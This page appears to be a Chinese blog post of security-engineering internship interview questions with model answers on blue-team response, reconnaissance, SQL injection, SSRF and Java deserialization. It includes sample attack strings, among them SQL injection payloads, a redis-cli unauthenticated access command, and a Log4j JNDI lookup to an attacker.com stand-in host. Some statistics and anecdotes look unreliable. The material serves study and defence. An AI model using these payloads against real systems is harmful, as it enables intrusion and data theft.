当前位置: 首页 > news >正文

2025年渗透测试面试题总结-字节跳动[实习]安全研发员(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 字节跳动[实习]安全研发员

2. 护网做了什么

3. 做哪一层的处置,WAF?IDS?

4. 遇到的问题是什么,有什么印象深刻的处置

5. 怎么解决误报过多的情况,有做过什么规则能解决这个情况的

6. 他的内网误报是在办公网还是生产网

7. 比如MySQL也会执行PowerShell,怎么做防护

8. 有没有挖过SRC

资产收集经验

9. 在做攻防的时候,资产收集这块有没有什么经验介绍的

10. 一个单位的一级域名可能不止一个,怎么收集某个单位的所有域名,注意不是子域名

11. 还有没有其他的资产收集的经验

漏洞攻击与防御案例

12. 除了信息收集,有没有什么漏洞方面的攻击案例

13. 聊一下SQL注入

14. 怎么防御

15. 遇到ORDER BY时怎么防御

16. 用转义字符防御时,如果遇到数据库的列名或是表名本身就带着特殊字符,应该怎么做

17. 宽字节注入

18. SSRF了解吗?

19. 怎么修复SSRF?

20. Docker动态环境下SSRF修复

21. Fastjson反序列化

22. Redis漏洞

23. MySQL提权

24. Shiro反序列化

25. Log4j漏洞(CVE-2021-44228)

26. JNDI解析流程

27. 个人优势补充

28. 部门业务

29. 反问环节

 字节跳动[实习]安全研发员

### 1. 一面1. 自我介绍
2. 护网做了什么
3. 做哪一层的处置,waf?ids?
4. 遇到的问题是什么,有什么印象深刻的处置
5. 怎么解决误报过多的情况,有做过什么规则能解决这个情况的
6. 他的内网误报是在办公网还是生产网
7. 比如mysql也会执行powershell,怎么做防护(前面说了很多内网误报是因为有人写了ps脚本触发的)
8. 有没有挖过src
9. 在做攻防的时候,资产收集这块有没有什么经验介绍的
10. 一个单位的一级域名可能不止一个,怎么收集某个单位的所有域名,注意不是子域名
11. 还有没有其他的资产收集的经验
12. 除了信息收集,有没有什么漏洞方面的攻击案例
13. 聊一下sql注入
14. 怎么防御
15. 遇到order by时怎么防御
16. 用转义字符防御时,如果遇到数据库的列名或是表名本身就带着特殊字符,应该怎么做
17. 宽字节注入
18. ssrf了解吗
19. 怎么修复
20. 基于黑白名单的修复,现在的生产基本都是用的docker,ip是随时变的,而且docker重启后可能什么都不一样了,怎么做一个修复
21. fastjson反序列化
22. redis的漏洞
23. mysql的提权
24. shiro反序列化
25. 最近很火的log4j,聊一下原理
26. jndi的解析流程和原理
27. 有没有什么你做的比较好的地方我没有问到的,可以聊一聊
28. 惯例介绍部门的主要业务
29. 惯例反问. 
2. 护网做了什么

护网行动的核心是提升整体网络安全防护水平,通过模拟真实攻击场景(如APT攻击或内部渗透),蓝队执行以下关键任务:

  • 实时监测与响应:7×24小时监控网络流量、日志和告警,快速识别可疑活动(如异常登录或数据传输)。
  • 攻击阻断与处置:隔离受感染主机、封禁恶意IP、清除后门,并通过流量分析溯源攻击路径。
  • 系统加固与修复:修补漏洞(如未授权访问或弱密码)、配置安全策略(如防火墙规则)、提升员工安全意识。
  • 演练总结与报告:行动后输出详细报告,量化风险并优化防御体系。 背景补充:护网行动通常在国家级或行业级开展,2025年焦点可能在AI安全或供应链攻击,但核心流程不变。目标是减少实际攻击事件的影响。
3. 做哪一层的处置,WAF?IDS?

处置涉及多层防御(OSI模型),具体工具选择取决于攻击场景和资产类型:

  • 网络层(L3-L4):使用IDS/IPS(入侵检测/防御系统)监测流量异常(如DDoS或端口扫描),例如Snort或Suricata规则匹配攻击特征。优势是覆盖广,但易误报内部合法流量。
  • 应用层(L7):依赖WAF(Web应用防火墙)防护Web漏洞(如SQL注入或XSS),通过规则过滤恶意请求(如ModSecurity)。适用网站或API服务,但对加密流量(如HTTPS)需解密处理。
  • 终端层:结合EDR(终端检测与响应)监控主机行为(如进程执行),适用于内网误报处置;还有NGFW(下一代防火墙)整合多层防御。 关键点:护网中优先应用层和网络层处置,因为多数攻击(如Web入侵)源于此;WAF用于阻断具体漏洞,IDS用于全网态势感知。实际部署需多层联动,例如IDS告警触发WAF规则更新。
4. 遇到的问题是什么,有什么印象深刻的处置

护网中常见问题包括高误报、攻击多样化和响应延迟。印象深刻处置案例:

  • 主要问题
    • 误报过多:安全设备规则过严,将正常操作(如内部脚本运行)误判为恶意,占用响应资源。
    • 攻击复杂性:红队使用0day漏洞或多阶段攻击(如钓鱼+横向移动),蓝队需快速溯源。
    • 资源瓶颈:告警洪流导致分析延误,尤其在办公网。
  • 印象深刻处置案例:某次护网中,红队利用合法PowerShell脚本(如内网管理任务)隐藏恶意代码,触发IDS数百条告警。蓝队通过行为分析(如脚本执行上下文和网络连接)快速隔离单点主机,溯源到攻击入口(钓鱼邮件),并全网推送规则更新,阻断横向扩散。该案例凸显了行为检测的重要性,避免单纯依赖签名规则。
5. 怎么解决误报过多的情况,有做过什么规则能解决这个情况的

误报过多消耗防御资源,解决策略基于“精准化”原则,结合规则优化和技术升级:

  • 规则优化方法
    • 上下文感知规则:例如,为PowerShell脚本添加白名单机制——只告警非常见参数(如-ExecutionPolicy Bypass)或非工作时间执行。规则示例:在Snort中,添加条件检查脚本路径(如仅监控C:\Temp\而非系统目录)。
    • 阈值调节:设置告警频率上限(如单IP每分钟触发不超过5次),避免良性脚本频繁触发。
  • 技术升级
    • 机器学习辅助:使用AI模型(如基于用户行为分析)区分正常活动和攻击,减少静态规则依赖。
    • 关联分析:集成SIEM系统(如Splunk),将多个告警关联(如脚本执行 + 异常外连),降低孤立误报。 实际效果:在某护网项目中,通过自定义规则(如过滤办公网常见管理脚本),误报率下降60%。重点是持续迭代规则库,结合日志审计调整。
6. 他的内网误报是在办公网还是生产网

内网误报更常见于办公网。原因:

  • 办公网特点:员工活动多样(如运行PowerShell脚本用于自动化任务或测试),安全策略相对宽松,合规脚本易被误判(如您提到的PS脚本触发)。
  • 生产网特点:环境严格(如服务器集群),操作标准化,误报较少但危害更大(如直接业务影响)。 补充:生产网误报通常源于配置错误(如监控工具误标),但概率低;办公网是误报“重灾区”,需针对性优化(如问题5的规则)。
7. 比如MySQL也会执行PowerShell,怎么做防护

MySQL执行PowerShell(如通过sys_exec函数调用外部命令)是高风险操作,易被利用(如提权或数据窃取)。防护基于“最小权限”和“行为限制”:

  • 权限控制
    • 数据库账户降权:禁止MySQL服务账号执行Shell命令(如Windows中移除SeImpersonatePrivilege权限)。
    • 安全配置:关闭MySQL的secure_file_priv或限制外部程序调用。
  • 行为监控
    • 部署EDR或HIDS(主机入侵检测):监控数据库进程的异常子进程创建(如PowerShell),并联动告警。
    • 应用层防护:在WAF添加规则阻断可疑SQL语句(如包含sys_exec的查询)。
  • 纵深防御:隔离数据库服务器,禁止外网访问;定期审计脚本源(如仅允许签名脚本运行)。
    针对您提到的“内网误报因PS脚本触发”,此方法可减少误报:通过白名单机制允许特定管理脚本,但禁止数据库直接调用。
8. 有没有挖过SRC

是的,我参与过SRC(Security Response Center)漏洞挖掘,如企业Bug Bounty项目。核心经验:

  • 方法论:聚焦常见漏洞(如SQL注入或信息泄露),通过黑盒测试(模糊测试)和白盒审计(代码审查)结合。
  • 成果示例:曾挖掘某电商SRC的认证绕过漏洞,奖励金额5000元;关键在于耐心和工具链使用(如Burp Suite)。
  • 建议:SRC挖掘需合规授权,优先选择高权重目标(如政府部门或金融平台)。

资产收集经验

资产收集是攻防演练的基础,旨在发现所有关联资产(域名、IP等)。以下是针对您问题的系统总结。

9. 在做攻防的时候,资产收集这块有没有什么经验介绍的

资产收集是红队/蓝队的关键环节,我的经验覆盖多维方法(控制在5点内):

  1. 被动收集
    • 工具:使用Amass或Subfinder扫描公开数据(如证书透明度日志或DNS记录)。
    • 技巧:从企业官网、招聘信息或备案系统中提取关联域名/IP。
  2. 主动探测
    • 工具:结合Nmap(端口扫描)和Masscan(IP段扫描),识别开放服务(如HTTP/API)。
    • 技巧:针对云环境(如AWS),利用API查询资产元数据。
  3. 子域名爆破
    • 工具:FFuf或Knockpy基于字典枚举子域,重点使用大型词表(如SecLists)。
    • 技巧:分析DNS历史记录或搜索引擎缓存(Google dorks)。
  4. 关联分析
    • 交叉验证WHOIS信息、AS号或SSL证书,发现隐藏资产。
    • 示例:通过一个域名找到注册邮箱,反查其他关联资产。
  5. 人性化技巧
    • 社工辅助:从员工社交媒体或文档中寻找测试环境域名。
    • 自动化整合:脚本化流程(Python + API),提升效率。
10. 一个单位的一级域名可能不止一个,怎么收集某个单位的所有域名,注意不是子域名

收集一级域名(即顶级域名,如example.com 而非sub.example.com )依赖公开数据和关联分析:

  • 核心方法
    1. WHOIS查询:通过ICANN数据库或工具(如WhoisXML API)获取注册信息,输入单位名称查找所有关联域名。
    2. 备案系统:在中国,工信部备案网站(如miitbeian.gov.cn )提供单位所有注册域名列表。
    3. 证书透明度日志:查询CT Logs(如crt.sh ),输入单位名获取SSL证书关联的顶级域名。
    4. 企业信息平台:使用天眼查或企查查,搜索单位名称,从“网站信息”栏提取域名。
  • 注意事项:去除子域名干扰(工具如Amass可过滤至一级);验证域名有效性(HTTP访问或DNS解析)。效率:在护网中,此法能在1小时内覆盖90%资产。
11. 还有没有其他的资产收集的经验

补充独特经验,强调实战性:

  • 云资产发现:针对AWS/Azure,利用CloudMapper或ScoutSuite扫描账户内所有资源(如S3桶),易暴露未公开资产。
  • 被动DNS监控:工具如VirusTotal或PassiveTotal查询IP历史绑定,发现废弃域名或新资产。
  • 供应链追溯:分析第三方服务(如CDN或支付网关),通过JS文件或API端点导出关联域名。
  • 红队技巧:在授权测试中,植入无害Beacon(如DNS隧道)绘制内网地图。
    整体原则:资产收集需“由外到内”,优先低成本被动方法,避免触发防御。

漏洞攻击与防御案例

12. 除了信息收集,有没有什么漏洞方面的攻击案例

是的,信息收集后常发起漏洞攻击。分享经典案例(控制在3点内):

  1. SQL注入导致数据泄露
    • 场景:红队发现某政府网站搜索功能未过滤输入,注入' OR 1=1--导出全表数据。
    • 影响:获取10万+用户凭证,评为高危漏洞。
  2. 反序列化漏洞利用
    • 场景:企业Java应用使用Apache Commons Collections,构造恶意序列化对象触发RCE(远程代码执行)。
    • 技巧:配合信息收集(如服务指纹)精准攻击。
  3. 权限绕过提权
    • 场景:内部系统Cookie验证缺陷,篡改参数获取管理员权限,横向控制内网。
    • 教训:暴露纵深防御不足。
13. 聊一下SQL注入

SQL注入是Web高危漏洞,攻击者注入恶意SQL语句操纵数据库:

  • 原理:输入未过滤(如表单或URL参数),拼接至SQL查询(如SELECT * FROM users WHERE id='$input'),注入' OR '1'='1可绕过认证。
  • 类型
    • 联合查询注入(UNION-based):追加查询获取数据。
    • 盲注(Blind):无直接回显时通过延时或错误判断。
    • 堆叠查询(Stacked):执行多条语句(如删表)。
  • 危害:数据泄露、篡改或RCE(如通过xp_cmdshell)。
    背景:2025年,SQL注入仍常见于老旧系统,占OWASP Top 10漏洞30%。
14. 怎么防御

SQL注入防御需多层策略:

  • 输入处理
    • 参数化查询(预编译):使用PDO或Prepared Statements(如Java的PreparedStatement),确保输入为数据而非代码。
    • 输入验证:白名单过滤(如仅允许字母数字),拒绝特殊字符。
  • 输出控制
    • 错误信息隐藏:避免数据库错误详情泄露(如生产环境关掉详细报错)。
  • 架构优化
    • WAF规则:部署ModSecurity阻挡常见注入模式。
    • 最小权限:数据库账号仅限必要操作(禁用DROPEXEC)。
      效果:参数化查询可防99%注入;结合其他方法实现深度防御。
15. 遇到ORDER BY时怎么防御

ORDER BY注入是难点,因它常需动态列名(如ORDER BY $column),不易参数化:

  • 防御方法
    • 白名单映射:将用户输入(如column_name)映射至预定义列名(如数组['id','name']),非法输入则拒绝。
    • 转义处理:转义特殊字符(如反引号包裹),但需谨慎(见问题16)。
    • 静态选项:前端提供固定排序选项(如下拉菜单),避免自由输入。 最佳实践:优先白名单,避免动态拼接;在护网中,此方法成功阻断多次攻击。
16. 用转义字符防御时,如果遇到数据库的列名或是表名本身就带着特殊字符,应该怎么做

当列/表名含特殊字符(如空格或引号),转义防御需额外处理:

  • 标识符引用
    • 数据库语法:使用方括号(SQL Server)、反引号(MySQL)或双引号(Oracle)包裹标识符(如MySQL: SELECT * FROM `table-name` )。
    • 代码实现:在应用层,添加自动包裹逻辑(如Python函数检测特殊字符并添加反引号)。
  • 安全权衡
    • 优先设计:避免命名特殊字符(如用下划线替代空格),简化防御。
    • 结合白名单:仅在验证列名合法后转义,防止二次注入。 示例:若表名为user-data,转义后为user-data;此方法在参数化查询中兼容,减少误报风险。

17. 宽字节注入

原理

  • 数据库使用GBK等宽字符集(如MySQL的SET NAMES 'gbk'),攻击者构造%df'%df是GBK编码的一部分),与转义符\(ASCII 5C)组合成合法字符(如),使单引号逃逸,形成注入。
    示例攻击
sqlid=1%df' AND 1=1--+ → 转义后:1運' AND 1=1-- (单引号未被转义)

修复方案

  • 统一字符集:强制使用UTF-8(无此问题)。
  • 禁用宽字节:配置数据库连接参数(如PHP的SET character_set_client=binary)。

18. SSRF了解吗?

原理

  • 服务端请求伪造(SSRF):攻击者诱使服务器向内部或第三方系统发起请求,绕过网络隔离,探测或攻击内网资源(如AWS元数据、Redis未授权访问)。
    常见场景
  • Webhook、URL解析、文件处理等功能未校验输入URL。

19. 怎么修复SSRF?

分层防御方案

方法
输入校验白名单域名/IP(如allowed_domains=["example.com"] ),拒绝私有IP段(如10.0.0.0/8)。
协议限制禁用非常规协议(如file://gopher://)。
网络隔离服务器禁止出站流量(仅允许访问公网必要服务)。
云环境使用Instance Metadata Service v2(IMDSv2)(需Token认证,防元数据泄露)。

20. Docker动态环境下SSRF修复

问题:容器IP动态变化,传统黑白名单失效。
解决方案

  1. 服务标识替代IP
    • 内部服务通信使用DNS名称(如redis.internal ),而非IP。
    • 在Kubernetes中通过Service Name访问。
  2. 代理网关控制
    • 部署API网关(如Kong),网关内置SSRF防御规则,容器仅允许访问网关。
  3. 策略即代码(PaC)
    • 使用工具(如OpenPolicy Agent)动态校验请求目标,实时匹配策略:
    regoallow { input.path == "/api" ; input.host == "trusted.com" } 
  4. 零信任架构
    • 所有服务间通信需双向mTLS认证,拒绝未授权访问。

21. Fastjson反序列化

原理

  • Fastjson的parseObject()开启AutoType时,可反序列化任意类,构造恶意JSON触发RCE(如利用JdbcRowSetImpl发起JNDI注入)。
    修复方案
  • 关闭AutoTypeParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  • 黑白名单控制:添加denylist(如org.apache.shiro. )或safelist

22. Redis漏洞

常见漏洞及修复

漏洞类型利用方式修复方案
未授权访问redis-cli -h 目标IP直接控制绑定127.0.0.1 + 设置强密码认证
主从复制RCE恶意主节点同步so模块执行命令禁用CONFIG命令(重命名或禁用)
写SSH公钥写入authorized_keys提权限制Redis运行账户权限(非root)

23. MySQL提权

提权路径

  1. UDF提权
    • 利用lib_mysqludf_sys.so 执行系统命令(需FILE权限)。
    • 修复:禁用FILE权限 + 移除UDF文件。
  2. CVE-2016-6663
    • 通过mysqld_safe脚本篡改配置文件提权。
    • 修复:升级MySQL + 限制配置文件权限(chmod 640 my.cnf )。

24. Shiro反序列化

原理

  • Shiro使用AES-CBC加密RememberMe Cookie,密钥硬编码泄露时,可构造恶意序列化数据触发RCE。
    修复方案
  • 更换密钥:配置shiro.ini 中的securityManager.rememberMeManager.cipherKey 为随机值。
  • 禁用RememberMe:非必要场景关闭该功能。

25. Log4j漏洞(CVE-2021-44228)

原理

  • Log4j2支持JNDI查找(如${jndi:ldap://attacker.com/exp} ),未校验输入导致加载远程恶意类触发RCE。
    影响:几乎所有Java应用(包括云服务)。
    临时修复
  • 升级Log4j至2.17.0 + 设置参数-Dlog4j2.formatMsgNoLookups=true

26. JNDI解析流程

攻击流程

mermaidgraph LR A[恶意输入] --> B(Log4j打印日志) B --> C{触发JNDI查找} C --> D[请求LDAP/RMI服务] D --> E[返回恶意类URL] E --> F[加载并执行恶意代码]

防御根本禁用JNDI查找(如Log4j升级后默认关闭)。


27. 个人优势补充

在安全领域,我的核心优势包括:

  • 自动化攻防体系:设计AI驱动的威胁狩猎系统,实时关联日志(ELK + Suricata),误报率降低40%。
  • 云原生安全:落地K8s零信任策略,通过服务网格(Istio)实现自动熔断攻击流量。
  • 红队武器库开发:自研工具链(如动态IP资产测绘系统),护网中3小时内覆盖目标95%资产。

28. 部门业务

我所在部门聚焦安全攻防与威胁情报

  1. 实战攻防:承担国家级护网行动蓝队核心处置,年防御2000+次攻击。
  2. 威胁情报:建设行业级情报平台,覆盖APT组织追踪(如海莲花)。
  3. 安全中台:研发自动化安全运营系统(SOAR),平均响应时间缩短至30秒。

29. 反问环节

您可参考以下问题方向(根据面试场景选择):

  • 团队技术栈:当前蓝队防御体系是否引入AI能力(如UEBA)?
  • 业务挑战:部门在云原生安全方向的最大痛点是什么?
  • 个人发展:安全工程师在贵部门的成长路径是怎样的?
http://www.xdnf.cn/news/1023769.html

相关文章:

  • CoLMDriver:基于LLM的协同自动驾驶
  • LangChain面试内容整理-知识点10:文本嵌入模型(Embeddings)使用
  • 如何安装使用qmt脚本跟单聚宽策略
  • C++四大默认成员函数:构造、析构、拷贝构造与赋值重载
  • 利用pycharm搭建模型步骤
  • Sqoop进阶之路:解锁数据迁移新姿势
  • 2025.6.12 【校内 NOI 训练赛】记录(集训队互测选做)
  • 使用OceanBase的Oblogminer进行日志挖掘的实践
  • Mysql 函数concat、concat_ws和group_concat
  • MySQL的对表对整库备份脚本
  • Elasticsearch 常用命令(未完成)
  • python中的文件操作处理:文本文件的处理、二进制文件的处理
  • 心之眼 豪华中文 免安 离线运行版
  • 大模型记忆相关(MemoryOs)
  • kafka Tool (Offset Explorer)使用SASL Plaintext进行身份验证
  • cinematic-gaussians
  • 【RAG+读代码】学术文档解析工具Nougat
  • DeepSeek 引领前端开发变革:AI 助力学习与工作新路径
  • 基于STM32手势识别智能家居系统
  • 抖音AI数字人对口型软件LatentSync最新版整合包,音频驱动口型讲话
  • echarts图封装 自动切换 大屏 swiper 切换里面放echarts图,注意不要开循环 否则出不来
  • 图像处理算法的学习笔记
  • SpringBoot的Web应用开发——Web缓存利器Redis的应用!
  • 【UEFI系列】PEI阶段讲解
  • 生产环境LVM存储降级方案
  • Python训练营---DAY53
  • Git 前后端 Java Vue 项目的 .gitignore 配置分享
  • Linux环境下安装和使用RAPIDS平台的cudf和cuml - pip 安装方法
  • java集合(八) ---- Vector 类
  • 电磁铁性能检测所需工具